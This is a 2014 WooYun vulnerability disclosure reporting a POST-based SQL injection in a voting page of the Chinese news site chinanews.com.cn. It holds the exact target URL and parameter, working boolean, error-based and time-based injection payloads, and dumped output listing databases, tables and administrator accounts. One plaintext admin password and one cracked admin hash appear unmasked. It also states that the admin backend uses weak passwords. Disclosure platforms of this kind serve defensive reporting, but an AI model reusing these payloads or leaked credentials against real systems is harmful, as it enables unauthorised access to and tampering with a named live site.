当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-077506

漏洞标题：中国新闻网存在SQL注射漏洞，可任意发期刊新闻

相关厂商：中国新闻网

漏洞作者： 紫霞仙子

提交时间：2014-09-28 12:54

修复时间：2014-11-12 12:56

公开时间：2014-11-12 12:56

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-09-28： 细节已通知厂商并且等待厂商处理中
2014-09-29： 厂商已经确认，细节仅向厂商公开
2014-10-09： 细节向核心白帽子及相关领域专家公开
2014-10-19： 细节向普通白帽子公开
2014-10-29： 细节向实习白帽子公开
2014-11-12： 细节向公众公开

简要描述：

SQL注射，后台也是弱口令。

详细说明：

POST型注射
http://table.chinanews.com.cn/vote2008/view_results.php?si
d=709
postdata="item1366%5B%5D=5861&item1366%5B%5D=5863&submit=%EF%BF%BD%E1%BD%BB%
EF%BF%BD%EF%BF%BD&item1366%5B%5D=5862"

漏洞证明：

Place: POST
Parameter: item1366[]
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: item1366[]=5861&item1366[]=5863&submit=%EF%BF%BD%E1%BD%BB%EF%BF%BD%
EF%BF%BD&item1366[]=5862 AND 1275=1275
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: item1366[]=5861&item1366[]=5863&submit=%EF%BF%BD%E1%BD%BB%EF%BF%BD%
EF%BF%BD&item1366[]=5862 AND (SELECT 6960 FROM(SELECT COUNT(*),CONCAT(0x716b6271
71,(SELECT (CASE WHEN (6960=6960) THEN 1 ELSE 0 END)),0x7171757271,FLOOR(RAND(0)
*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: item1366[]=5861&item1366[]=5863&submit=%EF%BF%BD%E1%BD%BB%EF%BF%BD%
EF%BF%BD&item1366[]=5862 AND SLEEP(5)
available databases [29]:
[*] 2008**
[*] 2008**
[*] 2008**
[*] 2008pa**
[*] 2008pa**
[*] 200**
[*] ajax_**
[*] api_un**
[*] beiji**
[*] biao**
[*] bjh**
[*] cj**
[*] cnss**
[*] db_e**o
[*] f**
[*] gu**
[*] h**
[*] information_schema
[*] mysql
[*] nei**
[*] no**
[*] olym**
[*] qa
[*] q**
[*] spec**tes
[*] te**
[*] test1
[*] to**-test
[*] ztt**o
Database: bj**
[3 tables]
+-----------+
| admin     |
| ta**      |
| tab**7    |
+-----------+
Database: nei**
[24 tables]
+-----------------------+
| index                 |
| ww_ad                 |
| ww_admin              |
| ww_admin**            |
| ww_con**              |
| ww_con**t_0           |
| ww_con**t_1           |
| ww_content_2          |
| ww_content_5          |
| ww_content_attachment |
| ww_content_category   |
| ww_content_channel    |
| ww_content_comment    |
| ww_content_link       |
| ww_feedback           |
| ww_link               |
| ww_m**                |
| ww_me**_group         |
| ww_menu               |
| ww_online             |
| ww_page               |
| ww_vote               |
| ww_vote_item          |
| ww_vote_log           |
+-----------------------+
Database: cjzx
[22 tables]
+-----------------------+
| cj_content-bak-online |
| cj_content-bak        |
| cj_ad                 |
| cj_admin              |
| cj_admin_log          |
|********
| cj_vote_log           |
+-----------------------+
Database: gue**
Table: admin
[2 entries]
+------------+-----------+
| password   | adminname |
+------------+-----------+
| gqb7449jjh | admin     |
| gqb7449jjh | admin     |
+------------+-----------+
Database: cjzx
Table: cj_admin
[1 entry]
+----------+------------+-------------+-----------------------------------------
---------+-------------------+
| admin_id | admin_name | admin_state | admin_password
         | admin_permissions |
+----------+------------+-------------+-----------------------------------------
---------+-------------------+
| 1        | admin      | 1           | D033E22AE348AEB5660FC2140AEC35850C4DA997
 (admin) | all               |
+----------+------------+-------------+-----------------------------------------
---------+-------------------+
Database: nei***
Table: ww_admin
[3 entries]
+----------+------------+-------------+---------------+-------------------------
--------------------------+-------------------+
| admin_id | admin_name | admin_state | admin_project | admin_password                          | admin_permissions |
+----------+------------+-------------+---------------+-------------------------
--------------------------+-------------------+
| 1        | admin      | 1           | <blank>       | B7106F357A4FDFE24320**9C24B8DFE99          | all               |
| 7        | zx***1    | 1           | proj_2        | 9C5BD65F1A*****CEE3DB8C925C0FDF1596 (**) | <blank>   |
| 8        | zx****    | 1           | proj_1        | 56765F8B3429002A6B**8E7F14ADAAB          | <blank>         |
+----------+------------+-------------+---------------+-------------------------
--------------------------+-------------------+
Database: api_u**
Table: yy_man**
[1 entry]
+----+------+--------------+---------------------------------------------+------
--+----------+-----------+
| id | ison | uname        | upass                                       | ugrou
p | jointime | logintime |
+----+------+--------------+---------------------------------------------+------
--+----------+-----------+
| 1  | 1    | wangwei** | 86af64de84b82***026abd279 (1985**) | 1
  | NULL     | NULL      |
+----+------+--------------+---------------------------------------------+------
--+----------+-----------+


贴一个后台出来看看：

QQ图片20140927101739.jpg

QQ图片20140925183214.jpg


再看个：

QQ图片20140927101559.png

QQ图片20140927101625.png

QQ图片20140927101650.png

修复方案：

没太深入，只是测试了下。

版权声明：转载请注明来源 紫霞仙子@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2014-09-29 16:34

厂商回复：

最新状态：

暂无